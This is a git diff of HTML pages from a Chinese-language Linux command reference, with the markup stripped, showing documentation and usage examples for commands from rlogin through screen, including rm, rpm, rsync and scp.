    如果没有远程主机的$HOME/.netrc文件中的有效项,将提示您输入登录标识和密码。输入要求的登录信息后,在远程主机host1上的karen用户的目录列表显示在本地系统上。

    - - + + \ No newline at end of file diff --git a/c/rlogin.html b/c/rlogin.html index ae172c758c..54f247d875 100644 --- a/c/rlogin.html +++ b/c/rlogin.html @@ -9,7 +9,7 @@ rlogin 命令,Linux rlogin 命令详解:从当前终端登录到远程Linux主机 - Linux 命令搜索引擎 - + @@ -135,7 +135,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    远程主机:指定要登录的远程主机(ip地址或者域名)。

    - - + + \ No newline at end of file diff --git a/c/rm.html b/c/rm.html index d24cbe656d..a5e26e451c 100644 --- a/c/rm.html +++ b/c/rm.html @@ -9,7 +9,7 @@ rm 命令,Linux rm 命令详解:用于删除给定的文件和目录 - Linux 命令搜索引擎 - + @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);文件:指定被删除的文件列表,如果参数中含有目录,则必须加上-r或者-R选项。

    实例

    交互式删除当前目录下的文件test和example

    -
    rm -i test example
    +
    rm -i test example
     Remove test ?n(不删除文件test)
     Remove example ?y(删除文件example)
     

    应注意,这样做是非常危险的!

    删除当前目录下的 package-lock.json 文件

    -
    find .  -name "package-lock.json" -exec rm -rf {} \;
    +
    find .  -name "package-lock.json" -exec rm -rf {} \;
     

    *查找 .html 结尾的文件并删除

    -
    find ./docs -name "*.html" -exec rm -rf {} \;
    +
    find ./docs -name "*.html" -exec rm -rf {} \;
     

    *删除当前项目下 .html 结尾的文件

    -
    rm -rf *.html
    +
    rm -rf *.html
     

    删除当前目录下的 node_modules 目录

    -
    find . -name 'node_modules' -type d -prune -exec rm -rf '{}' +
    +
    find . -name 'node_modules' -type d -prune -exec rm -rf '{}' +
     

    删除文件

    @@ -182,8 +182,8 @@ rm testfile.txt -f 表示强制删除

    -
    rm -rf testdir
    -rm -r testdir
    +
    rm -rf testdir
    +rm -r testdir
     
    @@ -191,25 +191,25 @@ rm -r testdir

    rm -i [文件/目录]

    -
    rm -r -i testdir
    +
    rm -r -i testdir
     

    批量删除 icons 文件夹中的子文件夹中的 data 文件夹

    -
    rm -rf icons/**/data
    +
    rm -rf icons/**/data
     

    rm 忽略不存在的文件或目录

    -f 选项(LCTT 译注:即 “force”)让此次操作强制执行,忽略错误提示

    -
    rm -f [文件...]
    +
    rm -f [文件...]
     

    仅在某些场景下确认删除

    选项 -I,可保证在删除超过 3 个文件时或递归删除时(LCTT 译注: 如删除目录)仅提示一次确认。

    -
    rm -I file1 file2 file3
    +
    rm -I file1 file2 file3
     

    删除根目录

    @@ -223,10 +223,10 @@ rm -r testdir

    rm 显示当前删除操作的详情

    -
    rm -v [文件/目录]
    +
    rm -v [文件/目录]
     
    - - + + \ No newline at end of file diff --git a/c/rmdir.html b/c/rmdir.html index 6dc8258ccf..20e4e326dc 100644 --- a/c/rmdir.html +++ b/c/rmdir.html @@ -9,7 +9,7 @@ rmdir 命令,Linux rmdir 命令详解:用来删除空目录 - Linux 命令搜索引擎 - + @@ -143,14 +143,14 @@ customElements.define('markdown-style', MarkdownStyle);

    在工作目录下的 www 目录中,删除名为 Test 的子目录。若 Test 删除后,www 目录成为空目录,则 www 亦予删除。

    -
    rmdir -p www/Test
    +
    rmdir -p www/Test
     

    下面命令等价于 rmdir a/b/c, rmdir a/b, rmdir a

    -
    rmdir -p a/b/c
    +
    rmdir -p a/b/c
     
    - - + + \ No newline at end of file diff --git a/c/rmmod.html b/c/rmmod.html index 0e8f38e4b9..425c45bafe 100644 --- a/c/rmmod.html +++ b/c/rmmod.html @@ -9,7 +9,7 @@ rmmod 命令,Linux rmmod 命令详解:从运行的内核中移除指定的内核模块 - Linux 命令搜索引擎 - + @@ -146,7 +146,7 @@ raid1 25153 0 [root@localhost boot]# rmmod raid1 [root@localhost boot]# lsmod | grep raid1 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/route.html b/c/route.html index 0ae99ae0bf..a0b5d581f9 100644 --- a/c/route.html +++ b/c/route.html @@ -9,7 +9,7 @@ route 命令,Linux route 命令详解:显示并设置Linux中静态路由表 - Linux 命令搜索引擎 - + @@ -206,16 +206,16 @@ Destination Gateway Genmask Flags Metric Ref Use Iface
  • ! 表示此路由当前为关闭状态。
  • 添加网关/设置网关:

    -
    route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0    #增加一条到达224.0.0.0的路由。
    +
    route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0    #增加一条到达224.0.0.0的路由。
     

    屏蔽一条路由:

    -
    route add -net 224.0.0.0 netmask 240.0.0.0 reject     #增加一条屏蔽的路由,目的地址为224.x.x.x将被拒绝。
    +
    route add -net 224.0.0.0 netmask 240.0.0.0 reject     #增加一条屏蔽的路由,目的地址为224.x.x.x将被拒绝。
     

    删除路由记录:

    -
    route del -net 224.0.0.0 netmask 240.0.0.0
    -route del -net 224.0.0.0 netmask 240.0.0.0 reject
    +
    route del -net 224.0.0.0 netmask 240.0.0.0
    +route del -net 224.0.0.0 netmask 240.0.0.0 reject
     
    @@ -225,7 +225,7 @@ route del -net 224.0.0.0 netmask 240.0.0.0 reject
    - - + + \ No newline at end of file diff --git a/c/rpm.html b/c/rpm.html index 1026d45352..77ccb40fef 100644 --- a/c/rpm.html +++ b/c/rpm.html @@ -9,7 +9,7 @@ rpm 命令,Linux rpm 命令详解:RPM软件包的管理工具 - Linux 命令搜索引擎 - + @@ -162,7 +162,7 @@ customElements.define('markdown-style', MarkdownStyle);实例

    如何安装rpm软件包

    rpm软件包的安装可以使用程序rpm来完成。执行下面的命令:

    -
    rpm -ivh your-package.rpm
    +
    rpm -ivh your-package.rpm
     

    其中your-package.rpm是你要安装的rpm包的文件名,一般置于当前目录下。

    @@ -180,9 +180,9 @@ customElements.define('markdown-style', MarkdownStyle);如何安装.src.rpm软件包

    有些软件包是以.src.rpm结尾的,这类软件包是包含了源代码的rpm包,在安装时需要进行编译。这类软件包有两种安装方法:

    方法一:

    -
    rpm -i your-package.src.rpm
    +
    rpm -i your-package.src.rpm
     cd /usr/src/redhat/SPECS
    -rpmbuild -bp your-package.specs             #一个和你的软件包同名的specs文件
    +rpmbuild -bp your-package.specs             #一个和你的软件包同名的specs文件
     cd /usr/src/redhat/BUILD/your-package/      #一个和你的软件包同名的目录
     ./configure                                 #这一步和编译普通的源码软件一样,可以加上参数
     make
    @@ -196,33 +196,33 @@ make
     make install
     " class="copied">

    方法二:

    -
    rpm -i you-package.src.rpm
    +
    rpm -i you-package.src.rpm
     cd /usr/src/redhat/SPECS
     

    前两步和方法一相同

    -
    rpmbuild -bb your-package.specs       #一个和你的软件包同名的specs文件
    +
    rpmbuild -bb your-package.specs       #一个和你的软件包同名的specs文件
     

    这时在/usr/src/redhat/RPM/i386/(根据具体包的不同,也可能是i686,noarch等等)在这个目录下,有一个新的rpm包,这个是编译好的二进制文件。

    执行rpm -i new-package.rpm即可安装完成。

    如何卸载rpm软件包

    使用命令rpm -e包名,包名可以包含版本号等信息,但是不可以有后缀.rpm,比如卸载软件包proftpd-1.2.8-1,可以使用下列格式:

    -
    rpm -e proftpd-1.2.8-1
    -rpm -e proftpd-1.2.8
    -rpm -e proftpd-
    -rpm -e proftpd
    +
    rpm -e proftpd-1.2.8-1
    +rpm -e proftpd-1.2.8
    +rpm -e proftpd-
    +rpm -e proftpd
     

    不可以是下列格式:

    -
    rpm -e proftpd-1.2.8-1.i386.rpm
    -rpm -e proftpd-1.2.8-1.i386
    -rpm -e proftpd-1.2
    -rpm -e proftpd-1
    +
    rpm -e proftpd-1.2.8-1.i386.rpm
    +rpm -e proftpd-1.2.8-1.i386
    +rpm -e proftpd-1.2
    +rpm -e proftpd-1
     
    rpm2cpio xxx.rpm | cpio -vi -rpm2cpio xxx.rpm | cpio -idmv -rpm2cpio xxx.rpm | cpio --extract --make-directories +
    rpm2cpio xxx.rpm | cpio -vi
    +rpm2cpio xxx.rpm | cpio -idmv
    +rpm2cpio xxx.rpm | cpio --extract --make-directories
     
    rpm -qa 讲列出所有安装过的包 +
    rpm -qa 讲列出所有安装过的包
     

    如果要查找所有安装过的包含某个字符串sql的软件包

    -
    rpm -qa | grep sql
    +
    rpm -qa | grep sql
     

    2、如何获得某个软件包的文件全名。

    -
    rpm -q mysql
    +
    rpm -q mysql
     

    可以获得系统中安装的mysql软件包全名,从中可以获得当前软件包的版本等信息。这个例子中可以得到信息mysql-3.23.54a-11

    3、一个rpm包中的文件安装到那里去了?

    -
    rpm -ql 包名
    +
    rpm -ql 包名
     

    注意这里的是不包括.rpm后缀的软件包的名称,也就是说只能用mysql或者mysql-3.23.54a-11而不是mysql-3.23.54a-11.rpm。如果只是想知道可执行程序放到那里去了,也可以用which,比如:

    @@ -277,9 +277,9 @@ rpm2cpio xxx.rpm | cpio --extract --make-directories
  • 一个已经安装过的软件包,还可以使用rpm -qi **** .rpm
  • 6、某个程序是哪个软件包安装的,或者哪个软件包包含这个程序。

    -
    rpm -qf `which 程序名`    #返回软件包的全名
    -rpm -qif `which 程序名`   #返回软件包的有关信息
    -rpm -qlf `which 程序名`   #返回软件包的文件列表
    +
    rpm -qf `which 程序名`    #返回软件包的全名
    +rpm -qif `which 程序名`   #返回软件包的有关信息
    +rpm -qlf `which 程序名`   #返回软件包的文件列表
     
    whereis ftptop ftptop: /usr/bin/ftptop /usr/share/man/man1/ftptop.1.gz -rpm -qf /usr/bin/ftptop +rpm -qf /usr/bin/ftptop proftpd-1.2.8-1 -rpm -qf /usr/share/doc/proftpd-1.2.8/rfc/rfc0959.txt +rpm -qf /usr/share/doc/proftpd-1.2.8/rfc/rfc0959.txt proftpd-1.2.8-1
    mysql57-community-release-el6-8.noarch.rpm # 一个 rpm 包的例子 /var/lib/rpm/ # 包全名 -> 包名 的数据库 -rpm -Uivh --dodeps xxx # upgrade install verbose hash +rpm -Uivh --dodeps xxx # upgrade install verbose hash rpm -qilpfa|grep xxx # query info list(rpm包安装后的文件位置) package(rpm 包) file(文件属于哪个rpm文件) all -rpm -e # erase -rpm -V # verify -rpm2cpio | cpio -idv +rpm -e # erase +rpm -V # verify +rpm2cpio | cpio -idv # rpm 默认安装位置 /etc/ 配置文件 @@ -347,7 +347,7 @@ rpm2cpio | cpio -idv /usr/share/doc/ 使用手册 /usr/share/man/ manual " class="copied">
    - - + + \ No newline at end of file diff --git a/c/rpm2cpio.html b/c/rpm2cpio.html index 60620d96b9..6f52ba2fff 100644 --- a/c/rpm2cpio.html +++ b/c/rpm2cpio.html @@ -9,7 +9,7 @@ rpm2cpio 命令,Linux rpm2cpio 命令详解:将RPM软件包转换为cpio格式的文件 - Linux 命令搜索引擎 - + @@ -124,10 +124,10 @@ customElements.define('markdown-style', MarkdownStyle);参数

    文件:指定要转换的rpm包的文件名。

    实例

    -
    rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv
    +
    rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv
     
    - - + + \ No newline at end of file diff --git a/c/rpmbuild.html b/c/rpmbuild.html index 93af0b0f4a..6c33c03ed3 100644 --- a/c/rpmbuild.html +++ b/c/rpmbuild.html @@ -9,7 +9,7 @@ rpmbuild 命令,Linux rpmbuild 命令详解:创建RPM的二进制软件包和源码软件包 - Linux 命令搜索引擎 - + @@ -134,11 +134,11 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    -
    rpmbuild -ba 'spec文件路径'
    +
    rpmbuild -ba 'spec文件路径'
     

    build完后,可以在/usr/src/redhat/RPMS/下找到二进制rpm包,rpm包按照其对应的cpu体系结构分类,通常在/usr/src/redhat/RPMS/i386目录下。/usr/src/redhat/SRPMS/下找到源码rpm包,此时由于是源代码,所以无须按体系结构分类。

    - - + + \ No newline at end of file diff --git a/c/rpmdb.html b/c/rpmdb.html index 32926675d3..49ffa61fc1 100644 --- a/c/rpmdb.html +++ b/c/rpmdb.html @@ -9,7 +9,7 @@ rpmdb 命令,Linux rpmdb 命令详解:初始化和重建RPM数据库 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/rpmquery.html b/c/rpmquery.html index 287f6bd93d..cb47197edd 100644 --- a/c/rpmquery.html +++ b/c/rpmquery.html @@ -9,7 +9,7 @@ rpmquery 命令,Linux rpmquery 命令详解:从RPM数据库中查询软件包信息 - Linux 命令搜索引擎 - + @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/rpmsign.html b/c/rpmsign.html index 9ccf8b901f..2008542049 100644 --- a/c/rpmsign.html +++ b/c/rpmsign.html @@ -9,7 +9,7 @@ rpmsign 命令,Linux rpmsign 命令详解:使用RPM软件包的签名管理工具 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/rpmverify.html b/c/rpmverify.html index b4f48ecddf..6ab93d5534 100644 --- a/c/rpmverify.html +++ b/c/rpmverify.html @@ -9,7 +9,7 @@ rpmverify 命令,Linux rpmverify 命令详解:验证已安装的RPM软件包的正确性 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);f:验证指定软件包; --nomd5:不验证软件包的md5摘要。 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/rsh.html b/c/rsh.html index 6df4113d82..85b11ca40f 100644 --- a/c/rsh.html +++ b/c/rsh.html @@ -9,7 +9,7 @@ rsh 命令,Linux rsh 命令详解:连接远程主机并执行命令 - Linux 命令搜索引擎 - + @@ -134,7 +134,7 @@ customElements.define('markdown-style', MarkdownStyle);远程主机:指定要连接的远程主机;
  • 指令:指定要在远程主机上执行的命令。
  • - - + + \ No newline at end of file diff --git a/c/rsync.html b/c/rsync.html index ffc5f02eb5..5df761ccd1 100644 --- a/c/rsync.html +++ b/c/rsync.html @@ -9,7 +9,7 @@ rsync 命令,Linux rsync 命令详解:远程数据同步工具 - Linux 命令搜索引擎 - + @@ -141,67 +141,67 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
  • 列远程机的文件列表。这类似于rsync传输,不过只要在命令中省略掉本地机信息即可。如:rsync -v rsync://192.168.78.192/www
  • 选项

    -
    -v, --verbose 详细模式输出。
    --q, --quiet 精简输出模式。
    --c, --checksum 打开校验开关,强制对文件传输进行校验。
    --a, --archive 归档模式,表示以递归方式传输文件,并保持所有文件属性,等于-rlptgoD。
    --r, --recursive 对子目录以递归模式处理。
    --R, --relative 使用相对路径信息。
    --b, --backup 创建备份,也就是对于目的已经存在有同样的文件名时,将老的文件重新命名为~filename。可以使用--suffix选项来指定不同的备份文件前缀。
    +
    -v, --verbose 详细模式输出。
    +-q, --quiet 精简输出模式。
    +-c, --checksum 打开校验开关,强制对文件传输进行校验。
    +-a, --archive 归档模式,表示以递归方式传输文件,并保持所有文件属性,等于-rlptgoD。
    +-r, --recursive 对子目录以递归模式处理。
    +-R, --relative 使用相对路径信息。
    +-b, --backup 创建备份,也就是对于目的已经存在有同样的文件名时,将老的文件重新命名为~filename。可以使用--suffix选项来指定不同的备份文件前缀。
     --backup-dir 将备份文件(如~filename)存放在在目录下。
    --suffix=SUFFIX 定义备份文件前缀。
    --u, --update 仅仅进行更新,也就是跳过所有已经存在于DST,并且文件时间晚于要备份的文件,不覆盖更新的文件。
    --l, --links 保留软链结。
    +-suffix=SUFFIX 定义备份文件前缀。
    +-u, --update 仅仅进行更新,也就是跳过所有已经存在于DST,并且文件时间晚于要备份的文件,不覆盖更新的文件。
    +-l, --links 保留软链结。
     -L, --copy-links 想对待常规文件一样处理软链结。
     --copy-unsafe-links 仅仅拷贝指向SRC路径目录树以外的链结。
     --safe-links 忽略指向SRC路径目录树以外的链结。
     -H, --hard-links 保留硬链结。
    --p, --perms 保持文件权限。
    --o, --owner 保持文件属主信息。
    --g, --group 保持文件属组信息。
    --D, --devices 保持设备文件信息。
    --t, --times 保持文件时间信息。
    --S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。
    +-p, --perms 保持文件权限。
    +-o, --owner 保持文件属主信息。
    +-g, --group 保持文件属组信息。
    +-D, --devices 保持设备文件信息。
    +-t, --times 保持文件时间信息。
    +-S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。
     -n, --dry-run现实哪些文件将被传输。
     -w, --whole-file 拷贝文件,不进行增量检测。
     -x, --one-file-system 不要跨越文件系统边界。
     -B, --block-size=SIZE 检验算法使用的块尺寸,默认是700字节。
    --e, --rsh=command 指定使用rsh、ssh方式进行数据同步。
    +-e, --rsh=command 指定使用rsh、ssh方式进行数据同步。
     --rsync-path=PATH 指定远程服务器上的rsync命令所在路径信息。
     -C, --cvs-exclude 使用和CVS一样的方法自动忽略文件,用来排除那些不希望传输的文件。
    ---existing 仅仅更新那些已经存在于DST的文件,而不备份那些新创建的文件。
    ---delete 删除那些DST中SRC没有的文件。
    +--existing 仅仅更新那些已经存在于DST的文件,而不备份那些新创建的文件。
    +--delete 删除那些DST中SRC没有的文件。
     --delete-excluded 同样删除接收端那些被该选项指定排除的文件。
     --delete-after 传输结束以后再删除。
     --ignore-errors 及时出现IO错误也进行删除。
     --max-delete=NUM 最多删除NUM个文件。
    ---partial 保留那些因故没有完全传输的文件,以是加快随后的再次传输。
    ---force 强制删除目录,即使不为空。
    +--partial 保留那些因故没有完全传输的文件,以是加快随后的再次传输。
    +--force 强制删除目录,即使不为空。
     --numeric-ids 不将数字的用户和组id匹配为用户名和组名。
    ---timeout=time ip超时时间,单位为秒。
    +--timeout=time ip超时时间,单位为秒。
     -I, --ignore-times 不跳过那些有同样的时间和长度的文件。
     --size-only 当决定是否要备份文件时,仅仅察看文件大小而不考虑文件时间。
     --modify-window=NUM 决定文件是否时间相同时使用的时间戳窗口,默认为0。
    --T --temp-dir=DIR 在DIR中创建临时文件。
    +-T --temp-dir=DIR 在DIR中创建临时文件。
     --compare-dest=DIR 同样比较DIR中的文件来决定是否需要备份。
    --P 等同于 --partial。
    ---progress 显示备份过程。
    --z, --compress 对备份的文件在传输时进行压缩处理。
    ---exclude=PATTERN 指定排除不需要传输的文件模式。
    ---include=PATTERN 指定不排除而需要传输的文件模式。
    +-P 等同于 --partial。
    +--progress 显示备份过程。
    +-z, --compress 对备份的文件在传输时进行压缩处理。
    +--exclude=PATTERN 指定排除不需要传输的文件模式。
    +--include=PATTERN 指定不排除而需要传输的文件模式。
     --exclude-from=FILE 排除FILE中指定模式的文件。
     --include-from=FILE 不排除FILE指定模式匹配的文件。
    ---version 打印版本信息。
    ---address 绑定到特定的地址。
    ---config=FILE 指定其他的配置文件,不使用默认的rsyncd.conf文件。
    ---port=PORT 指定其他的rsync服务端口。
    +--version 打印版本信息。
    +--address 绑定到特定的地址。
    +--config=FILE 指定其他的配置文件,不使用默认的rsyncd.conf文件。
    +--port=PORT 指定其他的rsync服务端口。
     --blocking-io 对远程shell使用阻塞IO。
    --stats 给出某些文件的传输状态。
    ---progress 在传输时显示传输过程。
    +-stats 给出某些文件的传输状态。
    +--progress 在传输时显示传输过程。
     --log-format=formAT 指定日志文件格式。
     --password-file=FILE 从FILE中得到密码。
    ---bwlimit=KBPS 限制I/O带宽,KBytes per second。
    --h, --help 显示帮助信息。
    +--bwlimit=KBPS 限制I/O带宽,KBytes per second。
    +-h, --help 显示帮助信息。
     

    使用rsync进行同步

    接下来就可以在客户端使用rsync命令来备份服务端上的数据了,SSH方式是通过系统用户来进行备份的,如下:

    -
    rsync -vzrtopg --progress -e ssh --delete work@172.16.78.192:/www/* /databack/experiment/rsync
    +
    rsync -vzrtopg --progress -e ssh --delete work@172.16.78.192:/www/* /databack/experiment/rsync
     work@172.16.78.192's password:
     receiving file list ...
     5 files to consider
    @@ -319,7 +319,7 @@ total size is 100663363 speedup is 1024.19
     wait = no
     user = root
     server = /usr/bin/rsync
    -server_args = --daemon
    +server_args = --daemon
     log_on_failure += USERID
     }
     

    备份,完成以上工作,现在就可以对数据进行备份了,如下:

    -
    rsync -avz --progress --delete work@172.16.78.192::www /databack/experiment/rsync
    +
    rsync -avz --progress --delete work@172.16.78.192::www /databack/experiment/rsync
     
     Password:
     receiving file list ...
    @@ -421,7 +421,7 @@ sent 172 bytes received 98276 bytes 17899.64 bytes/sec
     total size is 150995011 speedup is 1533.75
     " class="copied">

    恢复,当服务器的数据出现问题时,那么这时就需要通过客户端的数据对服务端进行恢复,但前提是服务端允许客户端有写入权限,否则也不能在客户端直接对服务端进行恢复,使用rsync对数据进行恢复的方法如下:

    -
    rsync -avz --progress /databack/experiment/rsync/ work@172.16.78.192::www
    +
    rsync -avz --progress /databack/experiment/rsync/ work@172.16.78.192::www
     
     Password:
     building file list ...
    @@ -447,43 +447,43 @@ sent 258 bytes received 76 bytes 95.43 bytes/sec
     total size is 150995011 speedup is 452080.87
     " class="copied">

    将源目录同步到目标目录

    -
    $ rsync -r source destination
    +
    $ rsync -r source destination
     

    上面命令中,-r 表示递归,即包含子目录。注意,-r是必须的,否则 rsync 运行不会成功。source 目录表示源目录,destination 表示目标目录。

    多个文件或目录同步

    -
    $ rsync -r source1 source2 destination
    +
    $ rsync -r source1 source2 destination
     

    上面命令中,source1source2 都会被同步到 destination 目录。

    同步元信息

    -a 参数可以替代 -r,除了可以递归同步以外,还可以同步元信息(比如修改时间、权限等)。由于 rsync 默认使用文件大小和修改时间决定文件是否需要更新,所以 -a-r 更有用。下面的用法才是常见的写法。

    -
    $ rsync -a source destination
    +
    $ rsync -a source destination
     

    目标目录 destination 如果不存在,rsync 会自动创建。执行上面的命令后,源目录 source 被完整地复制到了目标目录 destination 下面,即形成了 destination/source 的目录结构。

    如果只想同步源目录 source 里面的内容到目标目录 destination ,则需要在源目录后面加上斜杠。

    -
    $ rsync -a source/ destination
    +
    $ rsync -a source/ destination
     

    上面命令执行后,source 目录里面的内容,就都被复制到了 destination 目录里面,并不会在 destination 下面创建一个 source 子目录。

    模拟执行的结果

    如果不确定 rsync 执行后会产生什么结果,可以先用 -n--dry-run 参数模拟执行的结果。

    -
    $ rsync -anv source/ destination
    +
    $ rsync -anv source/ destination
     

    上面命令中,-n 参数模拟命令执行的结果,并不真的执行命令。-v 参数则是将结果输出到终端,这样就可以看到哪些内容会被同步。

    目标目录成为源目录的镜像副本

    默认情况下,rsync 只确保源目录的所有内容(明确排除的文件除外)都复制到目标目录。它不会使两个目录保持相同,并且不会删除文件。如果要使得目标目录成为源目录的镜像副本,则必须使用 --delete 参数,这将删除只存在于目标目录、不存在于源目录的文件。

    -
    $ rsync -av --delete source/ destination
    +
    $ rsync -av --delete source/ destination
     

    上面命令中,--delete 参数会使得 destination 成为 source 的一个镜像。

    排除文件

    有时,我们希望同步时排除某些文件或目录,这时可以用--exclude参数指定排除模式。

    -
    $ rsync -av --exclude='*.txt' source/ destination
    +
    $ rsync -av --exclude='*.txt' source/ destination
     # 或者
    -$ rsync -av --exclude '*.txt' source/ destination
    +$ rsync -av --exclude '*.txt' source/ destination
     
    --exclude=".*"

    如果要排除某个目录里面的所有文件,但不希望排除目录本身,可以写成下面这样。

    -
    $ rsync -av --exclude 'dir1/*' source/ destination
    +
    $ rsync -av --exclude 'dir1/*' source/ destination
     

    多个排除模式,可以用多个 --exclude 参数。

    -
    $ rsync -av --exclude 'file1.txt' --exclude 'dir1/*' source/ destination
    +
    $ rsync -av --exclude 'file1.txt' --exclude 'dir1/*' source/ destination
     

    多个排除模式也可以利用 Bash 的大扩号的扩展功能,只用一个 --exclude 参数。

    -
    $ rsync -av --exclude={'file1.txt','dir1/*'} source/ destination
    +
    $ rsync -av --exclude={'file1.txt','dir1/*'} source/ destination
     

    如果排除模式很多,可以将它们写入一个文件,每个模式一行,然后用 --exclude-from 参数指定这个文件。

    -
    $ rsync -av --exclude-from='exclude-file.txt' source/ destination
    +
    $ rsync -av --exclude-from='exclude-file.txt' source/ destination
     

    指定必须同步的文件模式

    --include 参数用来指定必须同步的文件模式,往往与 --exclude 结合使用。

    -
    $ rsync -av --include="*.txt" --exclude='*' source/ destination
    +
    $ rsync -av --include="*.txt" --exclude='*' source/ destination
     

    上面命令指定同步时,排除所有文件,但是会包括 TXT 文件。

    - - + + \ No newline at end of file diff --git a/c/runlevel.html b/c/runlevel.html index 67eba4bb3f..55736cd6e6 100644 --- a/c/runlevel.html +++ b/c/runlevel.html @@ -9,7 +9,7 @@ runlevel 命令,Linux runlevel 命令详解:打印当前Linux系统的运行等级 - Linux 命令搜索引擎 - + @@ -144,7 +144,7 @@ S s Single user mode " class="copied">

    多数的桌面的linux系统缺省的runlevel是5,用户登陆时是图形界面,而多数的服务器版本的linux系统缺省的runlevel是3,用户登陆时是字符界面,runlevel 1和2除了调试之外很少使用,runlevel s和S并不是直接给用户使用,而是用来为Single user mode作准备。

    linux的运行模式比起windows的启动模式的优势在于:你可以在系统空闲时使用init命令切换你现在使用的runlevel,另外,当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel,系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程。

    - - + + \ No newline at end of file diff --git a/c/sar.html b/c/sar.html index 4429faea63..9302147de0 100644 --- a/c/sar.html +++ b/c/sar.html @@ -9,7 +9,7 @@ sar 命令,Linux sar 命令详解:系统运行状态统计工具 - Linux 命令搜索引擎 - + @@ -160,7 +160,7 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    察看内存和交换空间的使用率:

    -
    sar -r
    +
    sar -r
     Linux 2.4.20-8 (www.jsdig.com)    20130503  
     12:00:01 AM kbmemfree kbmemused  %memused 
     kbmemshrd kbbuffers  kbcached  
    @@ -189,14 +189,14 @@ Average:       324346    964374     74.83
     " class="copied">

    kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间,后面跟着的是已使用空间的百分比(%memused字段)。kbbuffers与kbcached字段分别显示缓冲区与系统全域的数据存取量,单位为KB。

    观察系统部件10分钟,并对数据进行排序:

    -
    sar -o temp 60 10
    +
    sar -o temp 60 10
     

    显示保存在每日数据文件“sa16”中的内存和网络统计信息。

    -
    sar -r -n DEV -f /var/log/sa/sa16
    +
    sar -r -n DEV -f /var/log/sa/sa16
     
    - - + + \ No newline at end of file diff --git a/c/scp.html b/c/scp.html index c1ca568ea2..56cc5a45ac 100644 --- a/c/scp.html +++ b/c/scp.html @@ -9,7 +9,7 @@ scp 命令,Linux scp 命令详解:加密的方式在本地主机和远程主机之间复制文件 - Linux 命令搜索引擎 - + @@ -164,30 +164,30 @@ customElements.define('markdown-style', MarkdownStyle);

    从10.10.10.10机器上的/opt/soft/的目录中下载nginx-0.5.38.tar.gz 文件到本地/opt/soft/目录中。

    从亚马逊云复制OpenVPN到本地目录

    -
    scp -i amazon.pem ubuntu@10.10.10.10:/usr/local/openvpn_as/etc/exe/openvpn-connect-2.1.3.110.dmg openvpn-connect-2.1.3.110.dmg
    +
    scp -i amazon.pem ubuntu@10.10.10.10:/usr/local/openvpn_as/etc/exe/openvpn-connect-2.1.3.110.dmg openvpn-connect-2.1.3.110.dmg
     

    从10.10.10.10机器上下载openvpn安装文件到本地当前目录来。

    从远程机器复制到本地

    -
    scp -r root@10.10.10.10:/opt/soft/mongodb /opt/soft/
    +
    scp -r root@10.10.10.10:/opt/soft/mongodb /opt/soft/
     

    从10.10.10.10机器上的/opt/soft/中下载mongodb目录到本地的/opt/soft/目录来。

    上传本地文件到远程机器指定目录

    scp /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
     # 指定端口 2222
    -scp -rp -P 2222 /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
    +scp -rp -P 2222 /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
     

    复制本地/opt/soft/目录下的文件nginx-0.5.38.tar.gz到远程机器10.10.10.10的opt/soft/scptest目录。

    上传本地目录到远程机器指定目录

    -
    scp -r /opt/soft/mongodb root@10.10.10.10:/opt/soft/scptest
    +
    scp -r /opt/soft/mongodb root@10.10.10.10:/opt/soft/scptest
     

    上传本地目录/opt/soft/mongodb到远程机器10.10.10.10上/opt/soft/scptest的目录中去。

    - - + + \ No newline at end of file diff --git a/c/screen.html b/c/screen.html index 354e323681..a2c5983bb6 100644 --- a/c/screen.html +++ b/c/screen.html @@ -9,7 +9,7 @@ screen 命令,Linux screen 命令详解:用于命令行终端切换 - Linux 命令搜索引擎 - + @@ -127,18 +127,18 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -A  将所有的视窗都调整为目前终端机的大小。
    --d <作业名称>  将指定的screen作业离线。
    --h <行数>  指定视窗的缓冲区行数。
    --m  即使目前已在作业中的screen作业,仍强制建立新的screen作业。
    --r <作业名称>  恢复离线的screen作业。
    --R  先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
    --s  指定建立新视窗时,所要执行的shell。
    --S <作业名称>  指定screen作业的名称。
    --v  显示版本信息。
    --x  恢复之前离线的screen作业。
    +
    -A  将所有的视窗都调整为目前终端机的大小。
    +-d <作业名称>  将指定的screen作业离线。
    +-h <行数>  指定视窗的缓冲区行数。
    +-m  即使目前已在作业中的screen作业,仍强制建立新的screen作业。
    +-r <作业名称>  恢复离线的screen作业。
    +-R  先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
    +-s  指定建立新视窗时,所要执行的shell。
    +-S <作业名称>  指定screen作业的名称。
    +-v  显示版本信息。
    +-x  恢复之前离线的screen作业。
     -ls或--list  显示目前所有的screen作业。
    --wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业。
    +-wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业。
     

    常用screen参数

    -
